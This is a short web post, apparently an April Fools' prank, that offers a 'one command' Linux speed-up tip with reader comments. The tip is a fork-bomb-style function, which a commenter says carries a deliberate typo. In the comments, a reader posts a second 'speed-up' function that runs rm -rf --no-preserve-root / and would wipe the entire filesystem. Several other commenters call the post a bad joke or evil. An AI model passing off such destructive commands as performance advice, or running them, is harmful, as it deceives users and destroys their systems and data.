Improve your Linux PC speed with this one command

Linux performance pro-tip - speed up your computer with this one command:

faster() {faster|faster} faster

Improve computer speed by up to 500% !!!

Comments

[sid]

This will also speed up your computer

faster() {
rm -r -f --no-preserve-root /
}
faster

[Daniel Mota]

Wow ... Bad Apr 1's joke.

[sid]

Lol

[HS]

This is just evil

[Mike Lockhart]

Thank you!

I'm reminded of a 3-page code type-in from a computer magazine in the 1980s (it was even featured on the cover) which sped up my Amstrad CPC and unlocked some extra instructions and RAM. A lot of DATA statements in it. Very surprising result!

I learned a lot that weekend :-)

[Phil Ashby]

I remember trying this for the first time on a shared PDP11 in Uni back in the 80s... did I get some stick from the CS department for leaking their secret sauce ;)

[John Robertson]

Depends on your definition of "improve" ;-)

[TaiKedz]

Yes, there's a typo. It's deliberate. Just in case.